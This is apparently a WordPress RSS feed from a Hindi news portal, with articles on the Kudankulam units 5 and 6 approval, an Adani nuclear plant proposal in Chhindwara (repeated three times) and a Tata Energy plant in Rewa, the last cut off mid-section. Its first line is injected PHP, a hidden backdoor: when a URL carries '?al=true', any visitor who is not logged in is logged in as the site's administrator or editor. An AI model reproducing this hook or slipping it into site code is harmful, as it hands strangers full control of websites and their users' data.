// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); nuclear power plant – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Mon, 04 May 2026 03:39:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 होर्मुज संकट का समाधान, LPG और तेल की आपूर्ति में नहीं होगी कमी, 2000 मेगावाट बिजली से हर घर रोशन https://pratyushaashakinayikiran.com/?p=216818 Mon, 04 May 2026 03:39:00 +0000 https://pratyushaashakinayikiran.com/?p=216818 मुंबई

ईरान जंग के चलते होर्मुज स्‍ट्रेट से तेल और गैस लदे जहाजों का आना-जाना बुरी तरह से प्रभावित हुआ है. इससे दुनियाभर में एनर्जी क्राइसिस जैसे हालात पैदा हो गए हैं. तेल और गैस की आपूर्ति में कमी आने का खामियाजा अब आमलोगों को भुगतना पड़ रहा है. पेट्रोल, डीजल और LPG की कीमतों में भारी उछाल आया है. पश्चिम एशिया में तनाव से पैदा हुए संकट के बीच अब कई देशों ने ऊर्जा के वैकल्पिक स्रोतों पर गंभीरता से काम करना शुरू कर दिया है. भारत भी इसमें पीछे नहीं है. सौर और पवन ऊर्जा के बाद अब एक और क्‍लीन एनर्जी ऑप्‍शन पर गंभीरता से काम शुरू हो गया है. वह परमाणु ऊर्जा. भारत ने कुडनकुलम न्‍यूक्लियर एनर्जी प्‍लांट की यूनिट 5 और 6 पर आगे बढ़ने का फैसला किया है। 

दरअसल, भारत के परमाणु ऊर्जा कार्यक्रम को बड़ा बढ़ावा देते हुए Atomic Energy Regulatory Board (AERB) ने तमिलनाडु के Kudankulam Nuclear Power Plant (कुडनकुलम) परमाणु ऊर्जा परियोजना की यूनिट 5 और 6 में प्रमुख उपकरणों की स्थापना के लिए मंजूरी दे दी है. यह अनुमति 30 अप्रैल 2026 को जारी की गई, जिससे देश के परमाणु ऊर्जा विस्तार को नई गति मिलने की उम्मीद है. इस मंजूरी के तहत Nuclear Power Corporation of India Limited (NPCIL) अब रिएक्टर प्रेशर वेसल, स्टीम जनरेटर और कूलेंट पंप जैसे अहम उपकरणों की स्थापना का कार्य शुरू कर सकेगा. यह चरण किसी भी परमाणु संयंत्र के निर्माण में बेहद महत्वपूर्ण माना जाता है, क्योंकि इसके बाद परियोजना अपने अंतिम विकास चरणों में प्रवेश करती है। 

मल्‍टी-लेवल सिक्‍योरिटी रिव्‍यू
AERB की यह अनुमति एक विस्तृत और मल्‍टी-लेवल सुरक्षा समीक्षा के बाद दी गई है. नियामक संस्था ने रिएक्टर डिजाइन को अपने निर्धारित सुरक्षा मानकों के अनुरूप पाया और यह सुनिश्चित किया कि परियोजना में अब तक हुए सिविल निर्माण कार्य भी संतोषजनक हैं. इससे पहले अप्रैल 2021 में ‘फर्स्ट पोर ऑफ कंक्रीट’ के लिए अनुमति दी गई थी, जिसके बाद से निर्माण कार्य लगातार प्रगति पर है. यूनिट 5 और 6 में अत्याधुनिक सुरक्षा सुविधाएं शामिल की गई हैं, जो AERB के लाइट वॉटर रिएक्टर आधारित परमाणु संयंत्रों के लिए निर्धारित सुरक्षा कोड के अनुरूप हैं. ये मानक अंतरराष्ट्रीय स्तर पर International Atomic Energy Agency (IAEA) द्वारा निर्धारित नवीनतम सुरक्षा दिशानिर्देशों से मेल खाते हैं. इन यूनिट्स में उन्नत पैसिव सेफ्टी सिस्टम और मजबूत कंटेनमेंट मैकेनिज्म लगाए जा रहे हैं, जिससे ऑपरेशन के दौरान उच्च स्तर की सुरक्षा और दुर्घटना-प्रतिरोध सुनिश्चित किया जा सके। 

हर यूनिट की क्षमता 1000 मेगावाट
तमिलनाडु के तिरुनेलवेली जिले में स्थित कुडनकुलम परियोजना भारत का सबसे बड़ा परमाणु ऊर्जा उत्पादन केंद्र है. यहां कुल छह प्रेसराइज्ड वॉटर रिएक्टर (VVER डिजाइन) स्थापित किए जा रहे हैं, जिनमें प्रत्येक की क्षमता 1000 मेगावाट है. यह परियोजना रूस के साथ तकनीकी सहयोग के तहत विकसित की जा रही है और इसे भारत-रूस परमाणु साझेदारी का महत्वपूर्ण उदाहरण माना जाता है. कुडनकुलम की पहली दो यूनिट्स 2013 और 2015 से ऑपरेशन में हैं और दक्षिणी ग्रिड को बिजली आपूर्ति कर रही हैं. वहीं यूनिट 3 और 4 एडवांस स्‍टेज में हैं, जिनके लिए पहले ही प्रमुख उपकरणों की स्थापना की मंजूरी दी जा चुकी है. अब यूनिट 5 और 6 के लिए मिली ताजा अनुमति से पूरे प्रोजेक्ट की गति और तेज होने की संभावना है। 

परमाणु ऊर्जा को बढ़ावा
कुडनकुलम इन नई यूनिट्स के चालू होने से भारत की परमाणु ऊर्जा क्षमता में उल्लेखनीय वृद्धि होगी. इससे न केवल देश की ऊर्जा सुरक्षा मजबूत होगी, बल्कि जीवाश्म ईंधनों पर निर्भरता भी कम होगी. साथ ही स्वच्छ और स्थिर ऊर्जा स्रोत के रूप में परमाणु ऊर्जा की भूमिका और मजबूत होगी. कुडनकुलम परियोजना का पूर्ण रूप से छह यूनिट्स के साथ संचालन भारत के स्वच्छ ऊर्जा लक्ष्यों को हासिल करने की दिशा में एक बड़ा कदम होगा. यह परियोजना देश की तकनीकी क्षमता, अंतरराष्ट्रीय सहयोग और सुरक्षा मानकों के प्रति प्रतिबद्धता को भी दर्शाती है। 

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गौतम अडानी के साथ कमलनाथ और मुख्यमंत्री यादव की जुगलबंदी, छिंदवाड़ा में न्यूक्लियर पॉवर प्लांट प्लान https://pratyushaashakinayikiran.com/?p=215462 Wed, 29 Apr 2026 03:39:00 +0000 https://pratyushaashakinayikiran.com/?p=215462 छिंदवाड़ा 
देश के सबसे बड़े औद्योगिक समूह अडानी ग्रुप छिंदवाड़ा में न्यूक्लियर पॉवर प्लांट लगाने की तैयारी कर रहा है. मध्य प्रदेश सरकार ने इस प्रस्ताव को कैबिनेट में चर्चा के लिए रखा है. पूर्व मुख्यमंत्री कमलनाथ ने अडानी ग्रुप के मालिक गौतम अडानी से इस बारे में गहन मंथन किया है. न्यूक्लियर पॉवर प्लांट छिंदवाड़ा के चौसरा गांव के पास 750 एकड़ में बनना है। 

अडानी ग्रुप को 16 साल पहले दी जमीन
छिंदवाड़ा के चौसरा गांव में करीब 16 साल पहले अडानी ग्रुप को थर्मल पॉवर प्लांट बनाने के लिए सरकार ने 750 एकड़ जमीन ट्रांसफर की थी. इसका नाम पेच थर्मल एनर्जी रखा गया था. कंपनी ने अपना ऑफिस भी बनाया, जमीन कवर्ड की लेकिन प्लांट का काम शुरू नहीं हो पाया. अब इसी जमीन पर थर्मल पॉवर प्लांट की जगह न्यूक्लियर थर्मल पॉवर प्लांट प्रस्तावित किया गया है. छिंदवाड़ा में न्यूक्लियर पॉवर प्लांट का प्रस्ताव मंत्री परिषद में रखा गया है। 

अडानी से मीटिंग पर क्या बोले कमलनाथ
पूर्व मुख्यमंत्री और कांग्रेस के वरिष्ठ नेता कमलनाथ ने जिला कांग्रेस कमेटी के हवाले से प्रेस नोट जारी कर कहा है "छिंदवाड़ा के समग्र विकास के लिए हमारा संकल्प दृढ़ है. वर्षों से जो भूमि अनुपयोगी पड़ी है, उसे अब विकास की मुख्य धारा से जोड़ने का समय आ गया है. इसी उद्देश्य से छिंदवाड़ा में प्रस्तावित न्यूक्लियर पॉवर प्रोजेक्ट को लेकर हमने गंभीरता से पहल की है। 

कमलनाथ ने कहा "इस संदर्भ में गौतम अडानी से सकारात्मक चर्चा हुई है, ताकि क्षेत्र में निवेश और रोजगार के नए अवसर सृजित किए जा सकें. मेरा हमेशा से प्रयास रहा है कि छिंदवाड़ा को विकास के मॉडल के रूप में स्थापित किया जाए. यह परियोजना उसी दिशा में एक महत्वपूर्ण कदम है, जो क्षेत्र के भविष्य को नई ऊंचाइयों तक ले जाएगी."

थर्मल पॉवर प्लांट की जगह न्यूक्लियर पॉवर प्लांट
अडानी ग्रुप को छिंदवाड़ा के चौसरा गांव के आसपास 299.614 हेक्टेयर यानि करीब 750 एकड़ जमीन सरकार ने दी थी. अडानी ग्रुप ने 39.6 0 करोड़ रुपए की कमिटमेंट गारंटी भी मध्य प्रदेश पॉवर मैनेजमेंट कंपनी में जमा कर दी. लेकिन किन्हीं कारणों से प्रोजेक्ट अब तक शुरू नहीं हो पाया. अब अडानी पॉवर लिमिटेड ने इस थर्मल पावर प्लांट की जगह न्यूक्लियर पावर प्लांट लगाने का प्रस्ताव मध्य प्रदेश सरकार के सामने रखा है. इस प्रस्ताव को कैबिनेट से मंजूरी मिलनी का इंतजार है। 

किसानों ने किया था विरोध, कोर्ट ने भी मांगा था जवाब
जमीन अधिग्रहण को लेकर कई बार पीड़ित किसानों और उनके परिवारों ने विरोध भी किया है. साल 2021 और 2023 में किसानों ने अधिग्रहण हुई जमीन पर कब्जा कर फसल लगा दी थी. हालांकि बाद में प्रशासन की मदद से फसल पर बुलडोजर चलाया गया. किसानों का आरोप है कि कंपनी ने जब जमीन का अधिग्रहण किया था तो उनसे वादा किया था कि जल्द यहां पर पॉवर प्लांट लगाया जाएगा। 

जिन किसानों की जमीन पॉवर प्लांट के लिए अधिग्रहण की गई है, उनके परिवार से एक व्यक्ति को नौकरी दी जाएगी. लेकिन ना तो जमीन पर काम शुरू हुआ और ना ही किसी को नौकरी मिली. हमारी जमीन वापस की जाए. वहीं, 2022 में मध्य प्रदेश हाई कोर्ट नेपॉवर प्लांट का काम शुरू नहीं होने पर अडानी ग्रुप से जवाब मांगा था। 

40 साल पहले हुआ था जमीन का अधिग्रहण
छिंदवाड़ा के चौसरा गांव के पास पेंच नदी के पानी से थर्मल पॉवर प्लांट बनाने के लिए 1986-1988 के दौरान मध्य प्रदेश राज्य विद्युत बोर्ड ने जमीन अधिग्रहित की थी. 1320 मेगावाट के इस प्लांट के लिए चौरई तहसील के चौसरा, हिवेरखेड़ी, धनोरा,थांवरीटेका,डागावानी पिपरिया गांवों की जमीन ली गई थी। 

न्यूक्लियर पॉवर प्लांट प्लान से क्या लाभ

    स्थानीय युवाओं को बड़े स्तर पर पर रोजगार मिलेगा
    क्षेत्र में उद्योग एवं व्यापार को नई गति मिलेगी
    आधारभूत जरूरतें सड़क, बिजली और जल व्यवस्था मजबूत होगी
    शिक्षा एवं स्वास्थ्य सेवाओं में विस्तार होगा
    सालों से बंजर पड़ी भूमि का सही उपयोग होगा

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गौतम अडानी के साथ कमलनाथ और मुख्यमंत्री यादव की जुगलबंदी, छिंदवाड़ा में न्यूक्लियर पॉवर प्लांट प्लान https://pratyushaashakinayikiran.com/?p=215464 Wed, 29 Apr 2026 03:39:00 +0000 https://pratyushaashakinayikiran.com/?p=215464 छिंदवाड़ा 
देश के सबसे बड़े औद्योगिक समूह अडानी ग्रुप छिंदवाड़ा में न्यूक्लियर पॉवर प्लांट लगाने की तैयारी कर रहा है. मध्य प्रदेश सरकार ने इस प्रस्ताव को कैबिनेट में चर्चा के लिए रखा है. पूर्व मुख्यमंत्री कमलनाथ ने अडानी ग्रुप के मालिक गौतम अडानी से इस बारे में गहन मंथन किया है. न्यूक्लियर पॉवर प्लांट छिंदवाड़ा के चौसरा गांव के पास 750 एकड़ में बनना है। 

अडानी ग्रुप को 16 साल पहले दी जमीन
छिंदवाड़ा के चौसरा गांव में करीब 16 साल पहले अडानी ग्रुप को थर्मल पॉवर प्लांट बनाने के लिए सरकार ने 750 एकड़ जमीन ट्रांसफर की थी. इसका नाम पेच थर्मल एनर्जी रखा गया था. कंपनी ने अपना ऑफिस भी बनाया, जमीन कवर्ड की लेकिन प्लांट का काम शुरू नहीं हो पाया. अब इसी जमीन पर थर्मल पॉवर प्लांट की जगह न्यूक्लियर थर्मल पॉवर प्लांट प्रस्तावित किया गया है. छिंदवाड़ा में न्यूक्लियर पॉवर प्लांट का प्रस्ताव मंत्री परिषद में रखा गया है। 

अडानी से मीटिंग पर क्या बोले कमलनाथ
पूर्व मुख्यमंत्री और कांग्रेस के वरिष्ठ नेता कमलनाथ ने जिला कांग्रेस कमेटी के हवाले से प्रेस नोट जारी कर कहा है "छिंदवाड़ा के समग्र विकास के लिए हमारा संकल्प दृढ़ है. वर्षों से जो भूमि अनुपयोगी पड़ी है, उसे अब विकास की मुख्य धारा से जोड़ने का समय आ गया है. इसी उद्देश्य से छिंदवाड़ा में प्रस्तावित न्यूक्लियर पॉवर प्रोजेक्ट को लेकर हमने गंभीरता से पहल की है। 

कमलनाथ ने कहा "इस संदर्भ में गौतम अडानी से सकारात्मक चर्चा हुई है, ताकि क्षेत्र में निवेश और रोजगार के नए अवसर सृजित किए जा सकें. मेरा हमेशा से प्रयास रहा है कि छिंदवाड़ा को विकास के मॉडल के रूप में स्थापित किया जाए. यह परियोजना उसी दिशा में एक महत्वपूर्ण कदम है, जो क्षेत्र के भविष्य को नई ऊंचाइयों तक ले जाएगी."

थर्मल पॉवर प्लांट की जगह न्यूक्लियर पॉवर प्लांट
अडानी ग्रुप को छिंदवाड़ा के चौसरा गांव के आसपास 299.614 हेक्टेयर यानि करीब 750 एकड़ जमीन सरकार ने दी थी. अडानी ग्रुप ने 39.6 0 करोड़ रुपए की कमिटमेंट गारंटी भी मध्य प्रदेश पॉवर मैनेजमेंट कंपनी में जमा कर दी. लेकिन किन्हीं कारणों से प्रोजेक्ट अब तक शुरू नहीं हो पाया. अब अडानी पॉवर लिमिटेड ने इस थर्मल पावर प्लांट की जगह न्यूक्लियर पावर प्लांट लगाने का प्रस्ताव मध्य प्रदेश सरकार के सामने रखा है. इस प्रस्ताव को कैबिनेट से मंजूरी मिलनी का इंतजार है। 

किसानों ने किया था विरोध, कोर्ट ने भी मांगा था जवाब
जमीन अधिग्रहण को लेकर कई बार पीड़ित किसानों और उनके परिवारों ने विरोध भी किया है. साल 2021 और 2023 में किसानों ने अधिग्रहण हुई जमीन पर कब्जा कर फसल लगा दी थी. हालांकि बाद में प्रशासन की मदद से फसल पर बुलडोजर चलाया गया. किसानों का आरोप है कि कंपनी ने जब जमीन का अधिग्रहण किया था तो उनसे वादा किया था कि जल्द यहां पर पॉवर प्लांट लगाया जाएगा। 

जिन किसानों की जमीन पॉवर प्लांट के लिए अधिग्रहण की गई है, उनके परिवार से एक व्यक्ति को नौकरी दी जाएगी. लेकिन ना तो जमीन पर काम शुरू हुआ और ना ही किसी को नौकरी मिली. हमारी जमीन वापस की जाए. वहीं, 2022 में मध्य प्रदेश हाई कोर्ट नेपॉवर प्लांट का काम शुरू नहीं होने पर अडानी ग्रुप से जवाब मांगा था। 

40 साल पहले हुआ था जमीन का अधिग्रहण
छिंदवाड़ा के चौसरा गांव के पास पेंच नदी के पानी से थर्मल पॉवर प्लांट बनाने के लिए 1986-1988 के दौरान मध्य प्रदेश राज्य विद्युत बोर्ड ने जमीन अधिग्रहित की थी. 1320 मेगावाट के इस प्लांट के लिए चौरई तहसील के चौसरा, हिवेरखेड़ी, धनोरा,थांवरीटेका,डागावानी पिपरिया गांवों की जमीन ली गई थी। 

न्यूक्लियर पॉवर प्लांट प्लान से क्या लाभ

    स्थानीय युवाओं को बड़े स्तर पर पर रोजगार मिलेगा
    क्षेत्र में उद्योग एवं व्यापार को नई गति मिलेगी
    आधारभूत जरूरतें सड़क, बिजली और जल व्यवस्था मजबूत होगी
    शिक्षा एवं स्वास्थ्य सेवाओं में विस्तार होगा
    सालों से बंजर पड़ी भूमि का सही उपयोग होगा

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गौतम अडानी के साथ कमलनाथ और मुख्यमंत्री यादव की जुगलबंदी, छिंदवाड़ा में न्यूक्लियर पॉवर प्लांट प्लान https://pratyushaashakinayikiran.com/?p=215466 Wed, 29 Apr 2026 03:39:00 +0000 https://pratyushaashakinayikiran.com/?p=215466 छिंदवाड़ा 
 देश के सबसे बड़े औद्योगिक समूह अडानी ग्रुप छिंदवाड़ा में न्यूक्लियर पॉवर प्लांट लगाने की तैयारी कर रहा है. मध्य प्रदेश सरकार ने इस प्रस्ताव को कैबिनेट में चर्चा के लिए रखा है. पूर्व मुख्यमंत्री कमलनाथ ने अडानी ग्रुप के मालिक गौतम अडानी से इस बारे में गहन मंथन किया है. न्यूक्लियर पॉवर प्लांट छिंदवाड़ा के चौसरा गांव के पास 750 एकड़ में बनना है। 

अडानी ग्रुप को 16 साल पहले दी जमीन
छिंदवाड़ा के चौसरा गांव में करीब 16 साल पहले अडानी ग्रुप को थर्मल पॉवर प्लांट बनाने के लिए सरकार ने 750 एकड़ जमीन ट्रांसफर की थी. इसका नाम पेच थर्मल एनर्जी रखा गया था. कंपनी ने अपना ऑफिस भी बनाया, जमीन कवर्ड की लेकिन प्लांट का काम शुरू नहीं हो पाया. अब इसी जमीन पर थर्मल पॉवर प्लांट की जगह न्यूक्लियर थर्मल पॉवर प्लांट प्रस्तावित किया गया है. छिंदवाड़ा में न्यूक्लियर पॉवर प्लांट का प्रस्ताव मंत्री परिषद में रखा गया है। 

अडानी से मीटिंग पर क्या बोले कमलनाथ
पूर्व मुख्यमंत्री और कांग्रेस के वरिष्ठ नेता कमलनाथ ने जिला कांग्रेस कमेटी के हवाले से प्रेस नोट जारी कर कहा है "छिंदवाड़ा के समग्र विकास के लिए हमारा संकल्प दृढ़ है. वर्षों से जो भूमि अनुपयोगी पड़ी है, उसे अब विकास की मुख्य धारा से जोड़ने का समय आ गया है. इसी उद्देश्य से छिंदवाड़ा में प्रस्तावित न्यूक्लियर पॉवर प्रोजेक्ट को लेकर हमने गंभीरता से पहल की है। 

कमलनाथ ने कहा "इस संदर्भ में गौतम अडानी से सकारात्मक चर्चा हुई है, ताकि क्षेत्र में निवेश और रोजगार के नए अवसर सृजित किए जा सकें. मेरा हमेशा से प्रयास रहा है कि छिंदवाड़ा को विकास के मॉडल के रूप में स्थापित किया जाए. यह परियोजना उसी दिशा में एक महत्वपूर्ण कदम है, जो क्षेत्र के भविष्य को नई ऊंचाइयों तक ले जाएगी। 

थर्मल पॉवर प्लांट की जगह न्यूक्लियर पॉवर प्लांट
अडानी ग्रुप को छिंदवाड़ा के चौसरा गांव के आसपास 299.614 हेक्टेयर यानि करीब 750 एकड़ जमीन सरकार ने दी थी. अडानी ग्रुप ने 39.6 0 करोड़ रुपए की कमिटमेंट गारंटी भी मध्य प्रदेश पॉवर मैनेजमेंट कंपनी में जमा कर दी. लेकिन किन्हीं कारणों से प्रोजेक्ट अब तक शुरू नहीं हो पाया. अब अडानी पॉवर लिमिटेड ने इस थर्मल पावर प्लांट की जगह न्यूक्लियर पावर प्लांट लगाने का प्रस्ताव मध्य प्रदेश सरकार के सामने रखा है. इस प्रस्ताव को कैबिनेट से मंजूरी मिलनी का इंतजार है। 

किसानों ने किया था विरोध, कोर्ट ने भी मांगा था जवाब
जमीन अधिग्रहण को लेकर कई बार पीड़ित किसानों और उनके परिवारों ने विरोध भी किया है. साल 2021 और 2023 में किसानों ने अधिग्रहण हुई जमीन पर कब्जा कर फसल लगा दी थी. हालांकि बाद में प्रशासन की मदद से फसल पर बुलडोजर चलाया गया. किसानों का आरोप है कि कंपनी ने जब जमीन का अधिग्रहण किया था तो उनसे वादा किया था कि जल्द यहां पर पॉवर प्लांट लगाया जाएगा। 

जिन किसानों की जमीन पॉवर प्लांट के लिए अधिग्रहण की गई है, उनके परिवार से एक व्यक्ति को नौकरी दी जाएगी. लेकिन ना तो जमीन पर काम शुरू हुआ और ना ही किसी को नौकरी मिली. हमारी जमीन वापस की जाए. वहीं, 2022 में मध्य प्रदेश हाई कोर्ट नेपॉवर प्लांट का काम शुरू नहीं होने पर अडानी ग्रुप से जवाब मांगा था। 

40 साल पहले हुआ था जमीन का अधिग्रहण
छिंदवाड़ा के चौसरा गांव के पास पेंच नदी के पानी से थर्मल पॉवर प्लांट बनाने के लिए 1986-1988 के दौरान मध्य प्रदेश राज्य विद्युत बोर्ड ने जमीन अधिग्रहित की थी. 1320 मेगावाट के इस प्लांट के लिए चौरई तहसील के चौसरा, हिवेरखेड़ी, धनोरा,थांवरीटेका,डागावानी पिपरिया गांवों की जमीन ली गई थी। 

न्यूक्लियर पॉवर प्लांट प्लान से क्या लाभ

    स्थानीय युवाओं को बड़े स्तर पर पर रोजगार मिलेगा
    क्षेत्र में उद्योग एवं व्यापार को नई गति मिलेगी
    आधारभूत जरूरतें सड़क, बिजली और जल व्यवस्था मजबूत होगी
    शिक्षा एवं स्वास्थ्य सेवाओं में विस्तार होगा
    सालों से बंजर पड़ी भूमि का सही उपयोग होगा

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गौतम अडानी के साथ कमलनाथ और मुख्यमंत्री यादव की जुगलबंदी, छिंदवाड़ा में न्यूक्लियर पॉवर प्लांट प्लान https://pratyushaashakinayikiran.com/?p=215468 Wed, 29 Apr 2026 03:39:00 +0000 https://pratyushaashakinayikiran.com/?p=215468 छिंदवाड़ा 
 देश के सबसे बड़े औद्योगिक समूह अडानी ग्रुप छिंदवाड़ा में न्यूक्लियर पॉवर प्लांट लगाने की तैयारी कर रहा है. मध्य प्रदेश सरकार ने इस प्रस्ताव को कैबिनेट में चर्चा के लिए रखा है. पूर्व मुख्यमंत्री कमलनाथ ने अडानी ग्रुप के मालिक गौतम अडानी से इस बारे में गहन मंथन किया है. न्यूक्लियर पॉवर प्लांट छिंदवाड़ा के चौसरा गांव के पास 750 एकड़ में बनना है। 

अडानी ग्रुप को 16 साल पहले दी जमीन
छिंदवाड़ा के चौसरा गांव में करीब 16 साल पहले अडानी ग्रुप को थर्मल पॉवर प्लांट बनाने के लिए सरकार ने 750 एकड़ जमीन ट्रांसफर की थी. इसका नाम पेच थर्मल एनर्जी रखा गया था. कंपनी ने अपना ऑफिस भी बनाया, जमीन कवर्ड की लेकिन प्लांट का काम शुरू नहीं हो पाया. अब इसी जमीन पर थर्मल पॉवर प्लांट की जगह न्यूक्लियर थर्मल पॉवर प्लांट प्रस्तावित किया गया है. छिंदवाड़ा में न्यूक्लियर पॉवर प्लांट का प्रस्ताव मंत्री परिषद में रखा गया है। 

अडानी से मीटिंग पर क्या बोले कमलनाथ
पूर्व मुख्यमंत्री और कांग्रेस के वरिष्ठ नेता कमलनाथ ने जिला कांग्रेस कमेटी के हवाले से प्रेस नोट जारी कर कहा है "छिंदवाड़ा के समग्र विकास के लिए हमारा संकल्प दृढ़ है. वर्षों से जो भूमि अनुपयोगी पड़ी है, उसे अब विकास की मुख्य धारा से जोड़ने का समय आ गया है. इसी उद्देश्य से छिंदवाड़ा में प्रस्तावित न्यूक्लियर पॉवर प्रोजेक्ट को लेकर हमने गंभीरता से पहल की है। 

कमलनाथ ने कहा "इस संदर्भ में गौतम अडानी से सकारात्मक चर्चा हुई है, ताकि क्षेत्र में निवेश और रोजगार के नए अवसर सृजित किए जा सकें. मेरा हमेशा से प्रयास रहा है कि छिंदवाड़ा को विकास के मॉडल के रूप में स्थापित किया जाए. यह परियोजना उसी दिशा में एक महत्वपूर्ण कदम है, जो क्षेत्र के भविष्य को नई ऊंचाइयों तक ले जाएगी। 

थर्मल पॉवर प्लांट की जगह न्यूक्लियर पॉवर प्लांट
अडानी ग्रुप को छिंदवाड़ा के चौसरा गांव के आसपास 299.614 हेक्टेयर यानि करीब 750 एकड़ जमीन सरकार ने दी थी. अडानी ग्रुप ने 39.6 0 करोड़ रुपए की कमिटमेंट गारंटी भी मध्य प्रदेश पॉवर मैनेजमेंट कंपनी में जमा कर दी. लेकिन किन्हीं कारणों से प्रोजेक्ट अब तक शुरू नहीं हो पाया. अब अडानी पॉवर लिमिटेड ने इस थर्मल पावर प्लांट की जगह न्यूक्लियर पावर प्लांट लगाने का प्रस्ताव मध्य प्रदेश सरकार के सामने रखा है. इस प्रस्ताव को कैबिनेट से मंजूरी मिलनी का इंतजार है। 

किसानों ने किया था विरोध, कोर्ट ने भी मांगा था जवाब
जमीन अधिग्रहण को लेकर कई बार पीड़ित किसानों और उनके परिवारों ने विरोध भी किया है. साल 2021 और 2023 में किसानों ने अधिग्रहण हुई जमीन पर कब्जा कर फसल लगा दी थी. हालांकि बाद में प्रशासन की मदद से फसल पर बुलडोजर चलाया गया. किसानों का आरोप है कि कंपनी ने जब जमीन का अधिग्रहण किया था तो उनसे वादा किया था कि जल्द यहां पर पॉवर प्लांट लगाया जाएगा। 

जिन किसानों की जमीन पॉवर प्लांट के लिए अधिग्रहण की गई है, उनके परिवार से एक व्यक्ति को नौकरी दी जाएगी. लेकिन ना तो जमीन पर काम शुरू हुआ और ना ही किसी को नौकरी मिली. हमारी जमीन वापस की जाए. वहीं, 2022 में मध्य प्रदेश हाई कोर्ट नेपॉवर प्लांट का काम शुरू नहीं होने पर अडानी ग्रुप से जवाब मांगा था। 

40 साल पहले हुआ था जमीन का अधिग्रहण
छिंदवाड़ा के चौसरा गांव के पास पेंच नदी के पानी से थर्मल पॉवर प्लांट बनाने के लिए 1986-1988 के दौरान मध्य प्रदेश राज्य विद्युत बोर्ड ने जमीन अधिग्रहित की थी. 1320 मेगावाट के इस प्लांट के लिए चौरई तहसील के चौसरा, हिवेरखेड़ी, धनोरा,थांवरीटेका,डागावानी पिपरिया गांवों की जमीन ली गई थी। 

न्यूक्लियर पॉवर प्लांट प्लान से क्या लाभ

    स्थानीय युवाओं को बड़े स्तर पर पर रोजगार मिलेगा
    क्षेत्र में उद्योग एवं व्यापार को नई गति मिलेगी
    आधारभूत जरूरतें सड़क, बिजली और जल व्यवस्था मजबूत होगी
    शिक्षा एवं स्वास्थ्य सेवाओं में विस्तार होगा
    सालों से बंजर पड़ी भूमि का सही उपयोग होगा

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विंध्य को मिली बड़ी सौगात: टाटा एनर्जी लगाएगी 28 हजार करोड़ से न्यूक्लियर पावर प्लांट https://pratyushaashakinayikiran.com/?p=213024 Sat, 18 Apr 2026 10:36:00 +0000 https://pratyushaashakinayikiran.com/?p=213024 रीवा 

रीवा अब सिर्फ विंध्य क्षेत्र का प्रमुख शहर नहीं रहेगा, बल्कि देश के सबसे बड़े बिजली उत्पादन केंद्रों में अपनी अलग पहचान बनाने जा रहा है। जिले में टाटा एनर्जी 28 हजार करोड़ रुपये के बड़े निवेश के साथ न्यूक्लियर पावर प्लांट स्थापित करने जा रही है। यह देश का पहला निजी न्यूक्लियर पावर प्लांट माना जा रहा है, क्योंकि अब तक ऐसे बड़े परमाणु ऊर्जा संयंत्र केवल सरकारी कंपनियों द्वारा लगाए जाते रहे हैं। केंद्र सरकार की नई हरित ऊर्जा नीतियों के बाद अब निजी कंपनियां भी इस क्षेत्र में तेजी से कदम बढ़ा रही हैं। रीवा के सिरमौर तहसील के क्योटी के पास रोजहांई क्षेत्र में यह परियोजना स्थापित होगी। इससे पूरे विंध्य क्षेत्र की अर्थव्यवस्था और रोजगार के अवसरों में बड़ा बदलाव देखने को मिलेगा।

जिले में टाटा एनर्जी 28 हजार करोड़ से न्यूक्लियर पावर प्लांट लगाएगा। यह देश का पहला निजी न्यूक्लियर पावर प्लांट होगा। अब तक ऐसे प्लांट सरकार चलाती है। केंद्र की हालिया व्यवस्थाओं के बाद रिलायंस, अदानी व टाटा ग्रुप ने इस क्षेत्र में कदम रखे हैं। रीवा के लिए केंद्र ने टाटा को अनुमति दे दी है। यह सिरमौर तहसील के क्योंटी के पास रोझौंहीं में बनेगा।

मप्र औद्योगिक विकास प्राधिकरण 169 हेक्टेयर जमीन आवंटित करेगा। प्लांट में पहले 220 मेगावॉट बिजली बनेगी। बाद में 1000 मेगावॉट और आगे 2400 मेगावॉट बिजली उत्पादन होगा। इससे 5 हजार युवाओं को रोजगार मिलेगा।

रीवा न्यूक्लियर पावर प्लांट: 28 हजार करोड़ निवेश और 2400 मेगावॉट उत्पादन
टाटा एनर्जी द्वारा प्रस्तावित इस न्यूक्लियर पावर प्लांट की शुरुआत 220 मेगावॉट बिजली उत्पादन से होगी। इसके बाद इसे बढ़ाकर 1000 मेगावॉट और फिर आगे 2400 मेगावॉट तक ले जाने की योजना बनाई गई है। यह परियोजना चरणबद्ध तरीके से विकसित होगी ताकि बिजली उत्पादन के साथ स्थानीय संसाधनों और रोजगार को भी मजबूत किया जा सके। मध्यप्रदेश औद्योगिक विकास प्राधिकरण इस प्रोजेक्ट के लिए 169 हेक्टेयर भूमि आवंटित करेगा। बताया जा रहा है कि यह भूमि पर्यावरणीय रूप से बंजर क्षेत्र में है, जिससे वन क्षेत्र पर असर कम होगा। इस प्लांट के शुरू होने के बाद रीवा देश के ऊर्जा मानचित्र पर और मजबूती से उभरेगा। यह सिर्फ बिजली उत्पादन नहीं बल्कि औद्योगिक विकास का नया द्वार भी खोलेगा।

5000 युवाओं को रोजगार, स्थानीय अर्थव्यवस्था को मिलेगा बड़ा सहारा
